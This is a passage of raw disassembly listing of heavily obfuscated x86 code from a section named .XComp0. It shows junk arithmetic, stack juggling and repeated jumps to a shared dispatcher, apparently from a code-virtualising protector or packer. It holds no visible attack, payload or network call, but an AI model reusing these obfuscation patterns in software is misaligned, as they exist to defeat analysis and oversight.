ebx jmp loc_57D9BE ; --------------------------------------------------------------------------- loc_577E24: ; CODE XREF: .XComp0:005831E1j mov esp, [esp] mov [esp], edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax push ecx mov ecx, 6E573BFBh dec ecx shl ecx, 7 inc ecx jmp loc_57CF66 ; --------------------------------------------------------------------------- loc_577E45: ; CODE XREF: .XComp0:0057797Aj add eax, 71C50E56h pop edx jmp loc_579F49 ; --------------------------------------------------------------------------- loc_577E50: ; CODE XREF: .XComp0:0057456Ej push eax mov eax, 626F69B1h push edx mov edx, 6E2155Bh not edx add edx, 75375063h xor edx, 378448E2h sub eax, edx pop edx sub edi, eax pop eax jmp loc_57C343 ; --------------------------------------------------------------------------- loc_577E75: ; CODE XREF: .XComp0:00582D05j and eax, edx pop edx or edx, eax jmp loc_57EA53 ; --------------------------------------------------------------------------- loc_577E7F: ; CODE XREF: .XComp0:00581D88j and esi, 516D62F7h dec esi jmp loc_57FA99 ; --------------------------------------------------------------------------- loc_577E8B: ; CODE XREF: .XComp0:005767D0j push esi jmp loc_5757DB ; --------------------------------------------------------------------------- loc_577E91: ; CODE XREF: .XComp0:0057E30Aj xor edx, ebx jmp loc_5766F4 ; --------------------------------------------------------------------------- loc_577E98: ; CODE XREF: .XComp0:00578DA2j add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push esp pop esi jmp loc_57993E ; --------------------------------------------------------------------------- loc_577EBC: ; CODE XREF: .XComp0:00579025j jmp loc_573541 ; --------------------------------------------------------------------------- loc_577EC1: ; CODE XREF: .XComp0:00582089j pop ebx jmp loc_57AFE2 ; --------------------------------------------------------------------------- loc_577EC7: ; CODE XREF: .XComp0:0058049Fj jmp loc_573541 ; --------------------------------------------------------------------------- loc_577ECC: ; CODE XREF: .XComp0:0057AE56j or ebp, edi pop edi jmp loc_5786A0 ; --------------------------------------------------------------------------- loc_577ED4: ; CODE XREF: .XComp0:00579FAFj mov esp, [esp] btr [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_577EE2: ; CODE XREF: .XComp0:0057A48Dj add esi, 4 sub esi, 4 jmp loc_57FD2E ; --------------------------------------------------------------------------- loc_577EF3: ; CODE XREF: .XComp0:0057FBADj or esi, 1F9816D0h neg esi shr esi, 7 xor esi, 18944DE6h not esi add esi, 2EA6DD4Dh sub ebx, 1EF55B9Ah sub ebx, esi jmp loc_57E332 ; --------------------------------------------------------------------------- lodsb add al, 80h push 4E71h mov [esp], ecx mov ch, 0DDh sub esp, 2 mov [esp], ax push ecx mov cl, 0BEh push ebx mov bl, cl mov ah, bl pop ebx jmp loc_581EB7 ; --------------------------------------------------------------------------- loc_577F3B: ; CODE XREF: .XComp0:0058317Fj pop edi jmp loc_57DF14 ; --------------------------------------------------------------------------- loc_577F41: ; CODE XREF: .XComp0:0057FFCBj add eax, edx pop edx add eax, ebp sub eax, 4744607Eh jmp loc_57A27E ; --------------------------------------------------------------------------- loc_577F50: ; CODE XREF: .XComp0:0057AE4Bj push esi jmp loc_5808FC ; --------------------------------------------------------------------------- loc_577F56: ; CODE XREF: .XComp0:00580D69j xor bl, al movzx eax, al push dword ptr [edi+eax*4] push edx push ebx push ecx mov ecx, 5AA81CA8h mov ebx, 553431h add ebx, ecx mov ecx, [esp] add esp, 4 push ebx push edx pop ebx pop edx not edx push ebx push edx pop ebx mov edx, [esp] add esp, 4 xor ebx, 8A9BB94Fh mov edx, ebx pop ebx xor [esp+4], edx mov edx, [esp] add esp, 4 mov eax, [esp] add esp, 4 jmp loc_578ED0 ; --------------------------------------------------------------------------- loc_577FA6: ; CODE XREF: .XComp0:0057959Aj pop ebp sub esp, 4 jmp loc_579697 ; --------------------------------------------------------------------------- loc_577FAF: ; CODE XREF: .XComp0:0057D9C6j pop edi pop dword ptr [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop eax push 3523h mov [esp], ebx push esp pop ebx push eax mov eax, 4 add ebx, eax mov eax, [esp] jmp loc_580282 ; --------------------------------------------------------------------------- loc_577FD5: ; CODE XREF: .XComp0:00575AABj mov esi, [esp] add esp, 4 push ebx push edi push 1356A50h mov edi, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_57E7C4 ; --------------------------------------------------------------------------- loc_577FF3: ; CODE XREF: .XComp0:0057D17Aj add edi, 64A8314Fh add edi, ecx sub edi, 64A8314Fh push dword ptr [esp] pop ecx add esp, 4 push edx push 4 pop edx add edi, 4CD6569Dh add edi, edx jmp loc_57500E ; --------------------------------------------------------------------------- loc_57801C: ; CODE XREF: .XComp0:0057FF2Cj pop edx add edx, ebx push dword ptr [esp] pop ebx add esp, 4 add edx, 2 xor edx, [esp] jmp loc_58009A ; --------------------------------------------------------------------------- loc_578037: ; CODE XREF: .XComp0:00577071j not ebp xchg ebp, edi neg edi jmp loc_57E1A5 ; --------------------------------------------------------------------------- loc_578042: ; CODE XREF: .XComp0:0057C903j pop ebp sub esp, 4 jmp loc_577630 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 3A11h jmp loc_582224 ; --------------------------------------------------------------------------- loc_578058: ; CODE XREF: .XComp0:00576789j shr ebp, 4 sub ebp, 0A0055369h sub eax, ebp pop ebp pop edi pop ecx push esi push 786639A1h pop esi add ebx, esi pop esi push eax mov eax, 2EA9622Dh add ebx, eax pop eax sub ebx, 733E5912h add ebx, eax add ebx, 733E5912h push 123Eh mov [esp], edx mov edx, 0E0A360Dh push ebx mov ebx, 7032150h jmp loc_57DD36 ; --------------------------------------------------------------------------- loc_57809F: ; CODE XREF: .XComp0:0057C0ABj push edi jmp loc_574893 ; --------------------------------------------------------------------------- loc_5780A5: ; CODE XREF: .XComp0:0057762Bj mov esi, 419C4AB5h xor edi, esi pop esi sub eax, edi mov edi, [esp] jmp loc_57EB73 ; --------------------------------------------------------------------------- loc_5780B7: ; CODE XREF: .XComp0:00574A43j add edi, 4 push 2EFFh mov [esp], esi push 4 jmp loc_574300 ; --------------------------------------------------------------------------- loc_5780CF: ; CODE XREF: .XComp0:00575F3Bj sub edx, 165567BCh pop edi add edx, ecx sub esp, 4 mov [esp], ebp mov ebp, 5BC33666h sub edx, ebp pop ebp mov ecx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov ax, [esp] jmp loc_574CF5 ; --------------------------------------------------------------------------- loc_578101: ; CODE XREF: .XComp0:00582134j mov [esp], edx mov dl, 24h push ebx mov bh, 77h or dl, bh pop ebx jmp loc_579E7A ; --------------------------------------------------------------------------- loc_578111: ; CODE XREF: .XComp0:0057683Dj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or eax, eax jz loc_57A496 sub esp, 4 mov [esp], ebx mov ebx, 1Ch push ecx jmp loc_57985D ; --------------------------------------------------------------------------- loc_57815D: ; CODE XREF: .XComp0:00577032j add eax, 6AB20312h sub eax, 5A5F3D4Ah jmp loc_579808 ; --------------------------------------------------------------------------- loc_57816C: ; CODE XREF: .XComp0:00580447j mov edx, 210730ECh jmp loc_57D29E ; --------------------------------------------------------------------------- loc_578176: ; CODE XREF: .XComp0:00575584j mov [esp], esi jmp loc_57D599 ; --------------------------------------------------------------------------- loc_57817E: ; CODE XREF: .XComp0:0057F99Aj pop esp jmp loc_57E52B ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push 6D09h mov [esp], esp push esi mov esi, 4 add [esp+4], esi pop esi pop ebx jmp loc_575B8A ; --------------------------------------------------------------------------- loc_5781A2: ; CODE XREF: .XComp0:0057F91Bj sub ebx, 7A9E445Eh push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_580489 ; --------------------------------------------------------------------------- loc_5781C0: ; CODE XREF: .XComp0:0057A1C9j xor eax, [esp] pop esp push ebx jmp loc_57B4C5 ; --------------------------------------------------------------------------- loc_5781CA: ; CODE XREF: .XComp0:0057D8E9j mov eax, 4B5272F8h dec eax jmp loc_57B5F3 ; --------------------------------------------------------------------------- loc_5781D5: ; CODE XREF: .XComp0:0057EED5j add esp, 4 sub esi, 68AC14B1h push eax mov eax, 0B16879F9h add esi, eax mov eax, [esp] jmp loc_5815E3 ; --------------------------------------------------------------------------- loc_5781EE: ; CODE XREF: .XComp0:0057900Fj jmp loc_573541 ; --------------------------------------------------------------------------- loc_5781F3: ; CODE XREF: .XComp0:00573C00j mov esp, [esp] bts [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_578201: ; CODE XREF: .XComp0:005800B5j push ebx jmp loc_57F6C8 ; --------------------------------------------------------------------------- loc_578207: ; CODE XREF: .XComp0:00582946j push edi mov edi, 97BE2B77h add ebx, edi pop edi push ebx jmp loc_576075 ; --------------------------------------------------------------------------- loc_578216: ; CODE XREF: .XComp0:00576346j jmp loc_573541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57821B: ; CODE XREF: sub_5A47B5-2AB47j pop cx inc bl jmp loc_5822A1 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_578224: ; CODE XREF: .XComp0:00582B58j and ebp, 37CA3E75h jmp loc_578562 ; --------------------------------------------------------------------------- loc_57822F: ; CODE XREF: .XComp0:00581677j pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_580303 ; --------------------------------------------------------------------------- loc_578245: ; CODE XREF: .XComp0:0057B401j mov edi, esp jmp loc_57D004 ; --------------------------------------------------------------------------- loc_57824C: ; CODE XREF: .XComp0:00581B26j push eax jmp loc_57BFDC ; --------------------------------------------------------------------------- loc_578252: ; CODE XREF: .XComp0:00579F62j push 6880h mov [esp], esi push 2AB5h mov [esp], eax mov eax, 439F66FBh push edi mov edi, 189458BEh jmp loc_57C7DF ; --------------------------------------------------------------------------- loc_578272: ; CODE XREF: .XComp0:00580078j add ebx, esi mov esi, [esp] add esp, 4 xor ebx, [esp] jmp loc_582E50 ; --------------------------------------------------------------------------- loc_578282: ; CODE XREF: .XComp0:00576EE8j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shl eax, 1 shr eax, 7 xor eax, 242C47h add edx, eax pop eax jmp loc_57BE44 ; --------------------------------------------------------------------------- loc_5782AA: ; CODE XREF: .XComp0:00580D7Aj add ecx, 57591663h or ecx, 23A5799Ah and ecx, 521C7462h xor ecx, 24FA5529h or ecx, 148920ACh push 257Bh mov [esp], ebp mov ebp, 709C3333h xor ecx, ebp pop ebp push edi mov edi, 46731698h xor ecx, edi mov edi, [esp] push edx jmp loc_5794AC ; --------------------------------------------------------------------------- loc_5782E9: ; CODE XREF: .XComp0:0057E5EAj pop eax xor ecx, 62F90442h sub ebx, 1842879h jmp loc_576F3F ; --------------------------------------------------------------------------- loc_5782FB: ; CODE XREF: .XComp0:00577021j push ecx pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_578302: ; CODE XREF: .XComp0:0057C6A5j sub eax, esi jmp loc_581356 ; --------------------------------------------------------------------------- loc_578309: ; CODE XREF: .XComp0:0057EEAAj mov edi, [esp] add esp, 4 jmp loc_573B54 ; --------------------------------------------------------------------------- loc_578317: ; CODE XREF: .XComp0:00578CA0j sub al, dh jmp loc_57F06D ; --------------------------------------------------------------------------- loc_57831E: ; CODE XREF: .XComp0:0057DEFCj neg ebp push ebx push edi push eax mov eax, 1424125Ch mov edi, eax pop eax mov ebx, 2EEA166Dh sub ebx, edi pop edi push edx mov edx, 58C83303h jmp loc_575D18 ; --------------------------------------------------------------------------- loc_57833E: ; CODE XREF: .XComp0:00577009j mov edi, 5FE42E1Bh push eax mov eax, 4DC07CF0h neg eax and eax, 31543EEBh push ebp mov ebp, 0 jmp loc_57FA1E ; --------------------------------------------------------------------------- loc_57835B: ; CODE XREF: .XComp0:005743AFj pop edx xor ecx, [esp] xor [esp], ecx jmp loc_57B970 ; --------------------------------------------------------------------------- loc_578367: ; CODE XREF: .XComp0:0057E792j pop esi sub esp, 4 mov [esp], edx push 4BFCh mov [esp], ecx mov ecx, 5DE93F93h inc ecx shr ecx, 1 jmp loc_5762F0 ; --------------------------------------------------------------------------- loc_578386: ; CODE XREF: .XComp0:0057A49Ej mov eax, [esp] push edx jmp loc_57628E ; --------------------------------------------------------------------------- loc_57838F: ; CODE XREF: .XComp0:0057E7B2j mov ebp, edx pop edx and ebp, 42A730B0h dec ebp push eax mov eax, 0 add eax, 0D9328DBh jmp loc_578C1E ; --------------------------------------------------------------------------- loc_5783A9: ; CODE XREF: .XComp0:0057D3B5j push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp add esi, 4 push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] pop esp push 13E8h mov [esp], esi mov esi, esp jmp loc_5753A5 ; --------------------------------------------------------------------------- loc_5783DA: ; CODE XREF: .XComp0:005758CEj push 74DDh mov [esp], ecx push esp mov ecx, [esp] add esp, 4 jmp loc_5814E5 ; --------------------------------------------------------------------------- loc_5783F1: ; CODE XREF: .XComp0:0057C131j mov [esp], edi push 4222h mov [esp], eax push edx push ebp mov ebp, 26D30617h mov edx, 1CEE55CBh add edx, ebp mov ebp, [esp] add esp, 4 mov eax, 0BD29F070h add eax, edx pop edx jmp loc_575933 ; --------------------------------------------------------------------------- loc_578420: ; CODE XREF: .XComp0:0057D908j mov ebx, 0CD11C4Eh sub edi, ebx jmp loc_57FFDE ; --------------------------------------------------------------------------- loc_57842C: ; CODE XREF: .XComp0:0057B2C5j mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebp mov ebp, 4 sub ecx, 7F354C6Bh add ecx, ebp add ecx, 7F354C6Bh pop ebp xchg ecx, [esp] mov esp, [esp] jmp loc_573541 ; --------------------------------------------------------------------------- loc_578462: ; CODE XREF: .XComp0:0057DAE8j add eax, 2 xchg eax, [esp] pop esp xchg cx, di jmp loc_582A86 ; --------------------------------------------------------------------------- loc_578471: ; CODE XREF: .XComp0:00573D89j sub ch, 16h and dl, ch mov ecx, [esp] jmp loc_578BFE ; --------------------------------------------------------------------------- loc_57847E: ; CODE XREF: .XComp0:005735ACj mov edx, [esp] jmp loc_57482D ; --------------------------------------------------------------------------- loc_578486: ; CODE XREF: .XComp0:0057E1B1j add ebp, eax pop eax jmp loc_57A7FB ; --------------------------------------------------------------------------- loc_57848E: ; CODE XREF: .XComp0:0057DD4Cj xchg edi, edx push ebx push eax jmp loc_57B447 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp jmp loc_57E7CF ; --------------------------------------------------------------------------- loc_5784A6: ; CODE XREF: .XComp0:00579D8Ej pop ebp jmp loc_57C23A ; --------------------------------------------------------------------------- loc_5784AC: ; CODE XREF: .XComp0:00576678j mov edx, 73CE3203h add ebx, edx pop edx sub esp, 4 mov [esp], eax sub dword ptr [esp], 6ED6586Ch jmp loc_575D55 ; --------------------------------------------------------------------------- loc_5784C9: ; CODE XREF: .XComp0:0057BCE6j sub al, 1Fh jmp loc_57939A ; --------------------------------------------------------------------------- loc_5784D0: ; CODE XREF: .XComp0:005785BCj xchg ebp, [esp] jmp loc_57B30B ; --------------------------------------------------------------------------- loc_5784D8: ; CODE XREF: .XComp0:00580967j add ecx, 4 jmp loc_575AF6 ; --------------------------------------------------------------------------- loc_5784E3: ; CODE XREF: .XComp0:00578D1Cj pop edx shl esi, 2 jmp loc_5785C1 ; --------------------------------------------------------------------------- loc_5784EC: ; CODE XREF: .XComp0:00578C58j jmp loc_573541 ; --------------------------------------------------------------------------- loc_5784F1: ; CODE XREF: .XComp0:00578CEEj push esi jmp loc_57B6A7 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_573541 ; --------------------------------------------------------------------------- loc_5784FF: ; CODE XREF: .XComp0:0057F4C7j pop esp sub esp, 4 jmp loc_57D713 ; --------------------------------------------------------------------------- loc_57850B: ; CODE XREF: .XComp0:00574105j pop eax sub ebp, 4D45DFDCh mov eax, ebp mov ebp, [esp] jmp loc_57C0F1 ; --------------------------------------------------------------------------- loc_57851C: ; CODE XREF: .XComp0:00581F09j add edi, 49B17233h inc edi add edi, 391229CCh add [esp+4], edi jmp loc_57FF13 ; --------------------------------------------------------------------------- loc_578532: ; CODE XREF: .XComp0:00576DB2j add ch, 0CBh jmp loc_57F2EA ; --------------------------------------------------------------------------- loc_57853A: ; CODE XREF: .XComp0:0057B1E1j pop edi add eax, 544939CAh sub eax, edx jmp loc_57F783 ; --------------------------------------------------------------------------- loc_578547: ; CODE XREF: .XComp0:005803E5j push eax push edx jmp loc_57766D ; --------------------------------------------------------------------------- loc_57854E: ; CODE XREF: .XComp0:0057A932j mov esi, 38E40A98h add esi, ecx mov ecx, [esp] jmp loc_57FBAA ; --------------------------------------------------------------------------- loc_57855D: ; CODE XREF: .XComp0:0057E28Aj jmp loc_573541 ; --------------------------------------------------------------------------- loc_578562: ; CODE XREF: .XComp0:0057822Aj push edi mov edi, 17EE41D4h xor ebp, edi pop edi or ecx, ebp pop ebp and ecx, 63721F5Ch sub ecx, 6EE66E77h dec ecx push esi mov esi, 3EC2E5Ch jmp loc_5757B1 ; --------------------------------------------------------------------------- loc_578586: ; CODE XREF: .XComp0:005755B8j xchg edx, [esp] jmp loc_57A0F1 ; --------------------------------------------------------------------------- loc_57858E: ; CODE XREF: .XComp0:00574217j sub dh, 0CCh sub ah, dh pop edx xor cl, ah mov eax, [esp] jmp loc_57CDB3 ; --------------------------------------------------------------------------- loc_57859E: ; CODE XREF: .XComp0:0058220Dj add ebp, 5E304FA4h add ebp, 35BA671Ah add ebp, edi sub ebp, 35BA671Ah sub ebp, 5E304FA4h pop edi sub ebp, 2 jmp loc_5784D0 ; --------------------------------------------------------------------------- loc_5785C1: ; CODE XREF: .XComp0:005784E7j shr esi, 3 push eax jmp loc_57719A ; --------------------------------------------------------------------------- loc_5785CA: ; CODE XREF: .XComp0:00582092j mov esp, [esp] sub eax, 4E4A6ED2h sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esi push 3C8E3C14h mov esi, [esp] add esp, 4 xor esi, 115A6058h sub esi, 351404FFh add esi, 73FA8B4h push esi pop ebp mov esi, [esp] jmp loc_58255B ; --------------------------------------------------------------------------- loc_57860B: ; CODE XREF: .XComp0:00574D9Cj mov cl, bl pop ebx xor cl, dh pop edx shl cl, 6 push 8A0h mov [esp], edx mov dh, 0 jmp loc_57FABF ; --------------------------------------------------------------------------- loc_578623: ; CODE XREF: .XComp0:005754DAj push edi mov edi, 4EDC0C0Ch neg edi push eax mov eax, 5AB20C0Ch jmp loc_57F5D9 ; --------------------------------------------------------------------------- loc_578636: ; CODE XREF: .XComp0:00582F5Cj xor eax, ebp pop ebp add ebx, eax pop eax add ebx, eax jmp loc_578C5D ; --------------------------------------------------------------------------- loc_578643: ; CODE XREF: .XComp0:0057F4FEj push esi pop ebp pop esi xor [esp], ebp xor ebp, [esp] xor [esp], ebp mov eax, [esp] jmp loc_579BB9 ; --------------------------------------------------------------------------- loc_578657: ; CODE XREF: .XComp0:0057B726j pop esp push 50A1h mov [esp], esi sub esp, 4 mov [esp], ecx push 0EBA27D1h mov ecx, [esp] push 16E5h mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_57EBA6 ; --------------------------------------------------------------------------- loc_578686: ; CODE XREF: .XComp0:005761E5j sub esi, 704D5E38h pop edi push esi push dword ptr [esp+4] jmp loc_578D95 ; --------------------------------------------------------------------------- loc_578697: ; CODE XREF: .XComp0:00576EC2j xor ebx, [esp] pop esp jmp loc_58135C ; --------------------------------------------------------------------------- loc_5786A0: ; CODE XREF: .XComp0:00577ECFj xor ebp, 0D901E4ADh jmp loc_5764BF ; --------------------------------------------------------------------------- loc_5786AB: ; CODE XREF: .XComp0:0057384Bj sub al, cl mov cx, [esp] add esp, 2 push edx mov dl, 0E2h add al, dl jmp loc_576B08 ; --------------------------------------------------------------------------- loc_5786BE: ; CODE XREF: .XComp0:00582988j sub ch, al jmp loc_57F7B0 ; --------------------------------------------------------------------------- loc_5786C5: ; CODE XREF: .XComp0:0057F0B6j sub ebx, 0C596087Ch sub esi, ebx jmp loc_57A6E1 ; --------------------------------------------------------------------------- loc_5786D2: ; CODE XREF: .XComp0:00582DD5j mov [esp], ecx push esi jmp loc_578822 ; --------------------------------------------------------------------------- loc_5786DB: ; CODE XREF: .XComp0:0057D7B7j pop ebx shr ebx, 2 neg ebx sub ebx, 68C406B3h mov ebp, ebx jmp loc_57F367 ; --------------------------------------------------------------------------- loc_5786EE: ; CODE XREF: .XComp0:0057880Fj jmp loc_573541 ; --------------------------------------------------------------------------- loc_5786F3: ; CODE XREF: .XComp0:0057B848j mov ebp, [esp] add esp, 4 shr eax, 2 jmp loc_57B72B ; --------------------------------------------------------------------------- loc_578704: ; CODE XREF: .XComp0:0057B126j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 xor esi, [esp] jmp loc_580FD8 ; --------------------------------------------------------------------------- loc_578725: ; CODE XREF: .XComp0:0058221Fj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor al, cl pop cx sub esp, 4 mov [esp], ebx jmp loc_575FE6 ; --------------------------------------------------------------------------- loc_578747: ; CODE XREF: .XComp0:005775A6j sub eax, esi mov esi, [esp] add esp, 4 jmp loc_57FD68 ; --------------------------------------------------------------------------- loc_578754: ; CODE XREF: .XComp0:0057EACAj add ecx, 774109h jmp loc_573650 ; --------------------------------------------------------------------------- loc_57875F: ; CODE XREF: .XComp0:005789DAj add eax, 68843714h add eax, ebx jmp loc_57ADD7 ; --------------------------------------------------------------------------- loc_57876B: ; CODE XREF: .XComp0:00581F38j dec ebp jmp loc_57E9C9 ; --------------------------------------------------------------------------- loc_578771: ; CODE XREF: .XComp0:005759DBj add cl, 0FEh dec cl shr cl, 2 push eax mov ah, cl neg ah mov cl, ah pop eax push edx mov dl, 32h inc dl sub dl, 3 xor cl, dl pop edx mov bl, cl pop ecx add al, bl mov bx, [esp] add esp, 2 xor bl, al push 2181h jmp loc_57AE1D ; --------------------------------------------------------------------------- loc_5787A7: ; CODE XREF: .XComp0:0057C8D3j add esp, 4 pop dword ptr [esp] pop esp jmp loc_573A1E ; --------------------------------------------------------------------------- loc_5787B3: ; CODE XREF: .XComp0:005778A8j pop ecx add esp, 4 jmp loc_575558 ; --------------------------------------------------------------------------- loc_5787BC: ; CODE XREF: .XComp0:00575CB7j add esi, 2F8B3DBCh jmp loc_57EB1A ; --------------------------------------------------------------------------- loc_5787C7: ; CODE XREF: .XComp0:00576946j pop esp sub esp, 4 jmp loc_57EEDA ; --------------------------------------------------------------------------- loc_5787D0: ; CODE XREF: .XComp0:0057F73Cj xor ax, di jmp loc_57C49C ; --------------------------------------------------------------------------- loc_5787D8: ; CODE XREF: .XComp0:00582202j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_581062 ; --------------------------------------------------------------------------- loc_5787E6: ; CODE XREF: .XComp0:00575A95j push dword ptr [esp] pop esi add esp, 4 jmp loc_57AD33 ; --------------------------------------------------------------------------- loc_5787F2: ; CODE XREF: .XComp0:0057F97Cj pop ebx push edx push ecx mov ecx, 3EF328F1h sub [esp+4], ecx mov ecx, [esp] add esp, 4 jmp loc_57F1D0 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_5786EE ; --------------------------------------------------------------------------- loc_578814: ; CODE XREF: .XComp0:0057AFDDj or ebx, 45A60FAh not ebx dec ebx jmp loc_57F3A9 ; --------------------------------------------------------------------------- loc_578822: ; CODE XREF: .XComp0:005786D6j push 398Ch jmp loc_58199C ; --------------------------------------------------------------------------- loc_57882C: ; CODE XREF: .XComp0:005737AEj pop ebx xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57883A: ; CODE XREF: .XComp0:0057F2EDj push 4816h mov [esp], edx jmp loc_5820FC ; --------------------------------------------------------------------------- loc_578847: ; CODE XREF: .XComp0:00577895j pop edi add eax, 61D6351h neg eax shl eax, 7 sub eax, 0A14D4F7Ch add esi, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_57D821 ; --------------------------------------------------------------------------- loc_57887D: ; CODE XREF: .XComp0:0057AF61j add cl, 0DEh sub cl, 5 jmp loc_574F2F ; --------------------------------------------------------------------------- loc_578888: ; CODE XREF: .XComp0:005748B6j add esi, ebp add esi, 7B862C6Ah pop ebp xchg esi, [esp] jmp loc_5824F6 ; --------------------------------------------------------------------------- loc_578899: ; CODE XREF: .XComp0:0058148Bj pop ebx mov ch, 0CCh xor ch, 0ECh shr ch, 6 or ch, 3Dh and ch, 93h sub ch, 0EEh add ch, dl mov edx, [esp] push ebp jmp loc_57E5EF ; --------------------------------------------------------------------------- loc_5788B6: ; CODE XREF: .XComp0:0057F418j push ebp mov ebp, 5D616641h jmp loc_577D37 ; --------------------------------------------------------------------------- mov ax, [esp] push 57AEh mov [esp], eax push esp jmp loc_57CF39 ; --------------------------------------------------------------------------- loc_5788D3: ; CODE XREF: .XComp0:0057A65Fj sub edi, ecx add edi, 1BA1973h sub edi, 3FC40C27h pop ecx inc edi jmp loc_57788D ; --------------------------------------------------------------------------- loc_5788E8: ; CODE XREF: .XComp0:00575AF1j mov edx, [esp] add esp, 4 loc_5788F1: ; CODE XREF: .XComp0:0057395Cj push ebx mov ebx, esp add ebx, 4 push edi push ebx push 446217D1h pop ebx xor ebx, 5DD91EABh mov edi, ebx pop ebx jmp loc_580B51 ; --------------------------------------------------------------------------- loc_578910: ; CODE XREF: .XComp0:0057653Ej inc dl sub esp, 4 jmp loc_57E72C ; --------------------------------------------------------------------------- loc_57891A: ; CODE XREF: .XComp0:00581A6Ej mov esi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5808C9 ; --------------------------------------------------------------------------- loc_578931: ; CODE XREF: .XComp0:0057AE7Fj add dword ptr [esp], 4 jmp loc_575DB2 ; --------------------------------------------------------------------------- loc_57893D: ; CODE XREF: .XComp0:00579C90j add esi, 67C55452h sub esi, ebp jmp loc_57E4AF ; --------------------------------------------------------------------------- loc_57894A: ; CODE XREF: .XComp0:0057616Cj mov [esp], edx mov edx, 4DD24E83h add esi, edx jmp loc_576FE7 ; --------------------------------------------------------------------------- loc_578959: ; CODE XREF: .XComp0:0057A9C7j xor edi, 43FC624Bh inc edi and edi, 58814DA9h dec edi add edi, 12CBCACDh sub ecx, 43041B40h add ecx, edi add ecx, 43041B40h mov edi, [esp] jmp loc_57A926 ; --------------------------------------------------------------------------- loc_578983: ; CODE XREF: .XComp0:0057419Dj add bh, 0E5h jmp loc_5737AB ; --------------------------------------------------------------------------- mov ax, [esp] push edi push 78D5h mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4 add edi, eax mov eax, [esp] jmp loc_57E523 ; --------------------------------------------------------------------------- loc_5789BA: ; CODE XREF: .XComp0:0057CE6Bj mov esi, 47F35930h jmp loc_57CD1B ; --------------------------------------------------------------------------- loc_5789C4: ; CODE XREF: .XComp0:00574FF8j mov ebp, ebx pop ebx not ebp or ebp, 66A50E78h jmp loc_580602 ; --------------------------------------------------------------------------- loc_5789D4: ; CODE XREF: .XComp0:0057B9FBj add eax, 5D876820h pop ebx jmp loc_57875F ; --------------------------------------------------------------------------- loc_5789DF: ; CODE XREF: .XComp0:00576716j add eax, 21C52E4Dh add eax, ebx sub eax, 21C52E4Dh jmp loc_57F35B ; --------------------------------------------------------------------------- loc_5789F0: ; CODE XREF: .XComp0:00576A26j or [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5789FA: ; CODE XREF: .XComp0:0057EF5Aj add eax, 1360Ah mov ebx, eax pop eax sub ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push edi mov edi, 2 jmp loc_578EEC ; --------------------------------------------------------------------------- loc_578A2D: ; CODE XREF: .XComp0:00581E6Cj mov ecx, 743D1F6Eh or esi, ecx jmp loc_57A9D9 ; --------------------------------------------------------------------------- loc_578A39: ; CODE XREF: .XComp0:0057FF6Fj add esp, 4 push cx mov cl, 0CCh add bl, cl pop cx add bl, al sub esp, 4 mov [esp], eax jmp loc_574401 ; --------------------------------------------------------------------------- loc_578A54: ; CODE XREF: .XComp0:0057ACECj push edx push ecx jmp loc_574D8D ; --------------------------------------------------------------------------- loc_578A5B: ; CODE XREF: .XComp0:0057F7D8j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] shr ecx, 7 push ecx push eax mov eax, ebx jmp loc_5743F6 ; --------------------------------------------------------------------------- loc_578A76: ; CODE XREF: .XComp0:0057A3EBj pop edx xor dh, 0Fh add al, dh jmp loc_57BCE5 ; --------------------------------------------------------------------------- loc_578A81: ; CODE XREF: .XComp0:0057C256j add esi, 67CD0D3Dh add esi, ebp sub esi, 67CD0D3Dh pop ebp add esi, 2 xchg esi, [esp] pop esp shr dword ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_578AA3: ; CODE XREF: .XComp0:00579835j push eax pop esi jmp loc_573F9F ; --------------------------------------------------------------------------- loc_578AAA: ; CODE XREF: .XComp0:0057C852j pop dword ptr 